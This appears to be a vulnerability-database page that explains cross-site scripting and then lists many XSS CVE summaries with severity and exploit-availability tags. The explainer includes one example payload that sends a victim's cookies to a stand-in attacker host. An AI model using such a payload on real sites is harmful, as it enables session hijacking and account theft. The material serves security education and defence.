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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Liferay Portal through 7.2.0 GA1 allows XSS via a journal article title to journal_article/page.jsp in journal/journal-taglib. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Liferay Portal
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The breadcrumbs contributed module through 0.2.0 for Padrino Framework allows XSS via a caption. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Padrino Contrib
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in GitLab Community and Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 4% CVSS 5.4
MEDIUM POC PATCH This Month

LimeSurvey before v3.17.14 allows reflected XSS for escalating privileges from a low-privileged account to, for example, SuperAdmin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS PHP Limesurvey
NVD GitHub Exploit-DB
EPSS 5% CVSS 5.4
MEDIUM POC PATCH This Month

LimeSurvey before v3.17.14 allows stored XSS for escalating privileges from a low-privileged account to, for example, SuperAdmin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Limesurvey
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in GitLab Community and Enterprise Edition before 11.8.9. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in GitLab Community and Enterprise Edition before 11.8.9, 11.9.x before 11.9.10, and 11.10.x before 11.10.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An input validation and output encoding issue was discovered in the GitLab email notification feature which could result in a persistent XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An input validation and output encoding issue was discovered in the GitLab CE/EE wiki pages feature which could result in a persistent XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in LibreNMS through 1.47. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Librenms
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Sakai through 12.6 allows XSS via a chat user name. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Sakai
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

Gophish through 0.8.0 allows XSS via a username. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Gophish
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

YII2-CMS v1.0 has XSS in protected\core\modules\home\models\Contact.php via a name field to /contact.html. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Yii Cms
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

Grav through 1.6.15 allows (Stored) Cross-Site Scripting due to JavaScript execution in SVG images. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Grav Cms
NVD GitHub
EPSS 5% CVSS 6.1
MEDIUM POC PATCH This Month

Cross site scripting (XSS) in the photo-gallery (10Web Photo Gallery) plugin before 1.5.35 for WordPress exists via admin/controllers/Options.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress PHP +1
NVD Exploit-DB
EPSS 5% CVSS 6.1
MEDIUM POC PATCH This Month

Cross site scripting (XSS) in the photo-gallery (10Web Photo Gallery) plugin before 1.5.35 for WordPress exists via admin/models/Galleries.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress PHP +1
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Silver Peak EdgeConnect SD-WAN before 8.1.7.x has reflected XSS via the rest/json/configdb/download/ PATH_INFO. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Unity Edgeconnect Sd Wan Firmware
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

JetBrains TeamCity 2019.1 and 2019.1.1 allows cross-site scripting (XSS), potentially making it possible to send an arbitrary HTTP request to a TeamCity server under the name of the currently. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Teamcity
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM This Month

IBM Jazz for Service Management 1.1.3 is vulnerable to HTTP header injection, caused by incorrect trust in the HTTP Host header during caching. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Jazz For Service Management
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Business Automation Workflow V18.0.0.0 through V18.0.0.2 and IBM Business Process Manager V8.6.0.0 through V8.6.0.0 Cumulative Fix 2018.03, V8.5.7.0 through V8.5.7.0 Cumulative Fix 2017.06, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Business Automation Workflow +1
NVD
EPSS 7% CVSS 6.1
MEDIUM POC This Month

Multiple Cross-Site Scripting (XSS) issues in the web interface on DASAN Zhone ZNID GPON 2426A EU version S3.1.285 devices allow a remote attacker to execute arbitrary JavaScript via manipulation of. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Znid Gpon 2426A Eu Firmware
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) Software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Identity Services Engine
NVD
EPSS 83% CVSS 6.1
MEDIUM POC THREAT This Month

cosenary Instagram-PHP-API (aka Instagram PHP API V2), as used in the UserPro plugin through 4.9.32 for WordPress, has XSS via the example/success.php error_description parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +2
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

eGain Chat 15.0.3 allows HTML Injection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Chat
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

Multiple stored XSS vulnerabilities in Sentrifugo 3.2 could allow authenticated users to inject arbitrary web script or HTML. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sentrifugo
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Rancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Kubernetes Rancher
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Nagios Log Server before 2.0.8 allows Reflected XSS via the username on the Login page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Log Server
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A reflected cross-site scripting (XSS) vulnerability was reported in Lenovo XClarity Administrator (LXCA) versions prior to 2.5.0 that could allow a crafted URL, if visited, to cause JavaScript code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Lenovo Xclarity Administrator
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

A stored cross-site scripting (XSS) vulnerability was reported in Lenovo XClarity Administrator (LXCA) versions prior to 2.5.0 that could allow an administrative user to cause JavaScript code to be. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity.

XSS Lenovo Xclarity Administrator
NVD
EPSS 13% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

The download-manager plugin before 2.9.94 for WordPress has XSS via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Download Manager
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM This Month

Dell EMC Unity Operating Environment versions prior to 5.0.0.0.5.116, Dell EMC UnityVSA versions prior to 5.0.0.0.5.116 and Dell EMC VNXe3200 versions prior to 3.1.10.9946299 contain a reflected. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Java Dell +3
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The CarSpot theme before 2.1.7 for WordPress has stored XSS via the Phone Number field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Carspot
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The JobCareer theme before 2.5.1 for WordPress has stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Jobcareer
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The breadcrumbs-by-menu plugin before 1.0.3 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Breadcrumbs By Menu
NVD
EPSS 21% CVSS 8.8
HIGH POC THREAT This Week

admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin before 2.2.5 for WordPress allows unauthenticated options import, as demonstrated by storing an XSS payload for remote code. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP WordPress +3
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The easy-pdf-restaurant-menu-upload plugin before 1.1.2 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Easy Pdf Restaurant Menu Upload
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The custom-404-pro plugin before 3.2.8 for WordPress has reflected XSS, a different vulnerability than CVE-2019-14789. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Custom 404 Pro
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The webp-express plugin before 0.14.8 for WordPress has stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Webp Express
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The wp-ultimate-recipe plugin before 3.12.7 for WordPress has stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Wp Ultimate Recipe
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The simple-mail-address-encoder plugin before 1.7 for WordPress has reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Simple Mail Address Encoder
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

The icegram plugin before 1.10.29 for WordPress has ig_cat_list XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Icegram Engage
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The photoblocks-grid-gallery plugin before 1.1.33 for WordPress has wp-admin/admin.php?page=photoblocks-edit&id= XSS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The onesignal-free-web-push-notifications plugin before 1.17.8 for WordPress has XSS via the subdomain parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Onesignal Free Web Push Notifications
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The easy-property-listings plugin before 3.4 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Easy Property Listings
NVD
EPSS 2% CVSS 7.5
HIGH POC This Week

The wp-private-content-plus plugin before 2.0 for WordPress has no protection against option changes via save_settings_page and other save_ functions. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Wp Private Content Plus
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Symantec My VIP portal, previous version which has already been auto updated, was susceptible to a cross-site scripting (XSS) exploit, which is a type of issue that can enable attackers to inject. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Vip
NVD
EPSS 6% CVSS 6.1
MEDIUM POC This Month

In DomainMOD through 4.13, the parameter daterange in the file reporting/domains/cost-by-month.php has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Domainmod
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM This Month

The woo-variation-gallery plugin before 1.1.29 for WordPress has XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Additional Variation Images For Woocommerce
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

WebTorrent before 0.107.6 allows XSS in the HTTP server via a title or file name. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Webtorrent
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The shapepress-dsgvo plugin before 2.2.19 for WordPress has wp-admin/admin-ajax.php?action=admin-common-settings&admin_email= XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A XSS found in Advan VD-1 firmware versions up to 230. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vd 1 Firmware Gv Vr360 Firmware +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The URL part of the report message is not encoded in Fortinet FortiWeb 6.0.2 and below which may allow an attacker to execute unauthorized code or commands (Cross Site Scripting) via attack reports. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Fortinet XSS Fortiweb
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

LibreNMS v1.54 has XSS in the Create User, Inventory, Add Device, Notifications, Alert Rule, Create Maintenance, and Alert Template sections of the admin console. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Librenms
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

In Knowage through 6.1.1, there is XSS via the start_url or user_id field to the ChangePwdServlet page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Knowage
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

A stored cross-site scripting vulnerability in Jenkins 2.191 and earlier, LTS 2.176.2 and earlier allowed attackers with Overall/Administer permission to configure the update site URL to inject. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Jenkins Communications Cloud Native Core Automated Test Suite +1
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

The my-calendar plugin before 3.1.10 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress My Calendar
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

public/js/frappe/form/footer/timeline.js in Frappe Framework 12 through 12.0.8 does not escape HTML in the timeline and thus is affected by crafted "changed value of" text. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Frappe
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

In Xymon through 4.3.28, an XSS vulnerability exists in the csvinfo CGI script due to insufficient filtering of the db parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Xymon Debian Linux
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The zoho-salesiq plugin before 1.0.9 for WordPress has stored XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zoho WordPress +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The ultimate-faqs plugin before 1.8.22 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Ultimate Faq
NVD
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

In system/workplace/ in Alkacon OpenCms 10.5.4 and 10.5.5, there are multiple Reflected and Stored XSS issues in the management interface. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Opencms
NVD GitHub Exploit-DB
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the Login form. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Opencms Apollo Template
NVD GitHub Exploit-DB
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

In the Alkacon OpenCms Apollo Template 10.5.4 and 10.5.5, there is XSS in the search engine. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Opencms Apollo Template
NVD GitHub Exploit-DB
EPSS 8% CVSS 6.1
MEDIUM POC This Month

Reflected cross site scripting (XSS) in L-Soft LISTSERV before 16.5-2018a exists via the /scripts/wa.exe OK parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Listserv
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Status Board 1.1.81 has reflected XSS via dashboard.ts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Status Board
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

CyberChef before 8.31.2 allows XSS in core/operations/TextEncodingBruteForce.mjs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Cyberchef
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

laracom (aka Laravel FREE E-Commerce Software) 1.4.11 has search?q= XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Laracom
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Status Board 1.1.81 has reflected XSS via logic.ts. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Status Board
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

An Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting") in Fortinet FortiNAC 8.3.0 to 8.3.6 and 8.5.0 admin webUI may allow an unauthenticated attacker to perform a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Fortinet XSS Fortinac
NVD
EPSS 1% CVSS 8.0
HIGH This Week

Escalation of privilege vulnerability in the Palo Alto Networks Twistlock console 19.07.358 and earlier allows a Twistlock user with Operator capabilities to escalate privileges to that of another. Rated high severity (CVSS 8.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Paloalto XSS Privilege Escalation +1
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

The wikirenderer component in Jira before version 7.13.6, and from version 8.0.0 before version 8.3.2 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Atlassian Jira Server
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Search Guard Kibana Plugin versions before 5.6.8-7 and before 6.x.y-12 had an issue that an attacker can redirect the user to a potentially malicious site upon Kibana login. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Elastic Search Guard
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The MigratePriorityScheme resource in Jira before version 8.3.2 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the priority icon url. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Atlassian Jira
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

openITCOCKPIT before 3.7.1 has reflected XSS, aka RVID 3-445b21. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Openitcockpit
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Ignite Realtime Openfire before 4.4.1 has reflected XSS via an LDAP setup test. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Openfire
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

DfE School Experience before v16333-GA has XSS via a teacher training URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Department For Education School Experience
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

django-js-reverse (aka Django JS Reverse) before 0.9.1 has XSS via js_reverse_inline. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Python Django Js Reserve
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Bolt before 3.6.10 has XSS via createFolder or createFile in Controller/Async/FilesystemManager.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Bolt
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Bolt before 3.6.10 has XSS via an image's alt or title field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Bolt
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Bolt before 3.6.10 has XSS via a title that is mishandled in the system log. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Bolt
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

selectize-plugin-a11y before 1.1.0 has XSS via the msg field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Selectize Plugin A11Y
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Kimai v2 before 1.1 has XSS via a timesheet description. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kimai 2
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Domoticz 4.10717 has XSS via item.Name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Domoticz
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Jooby before 1.6.4 has XSS via the default error handler. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jooby
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Former before 4.2.1 has XSS via a checkbox value. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Former
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

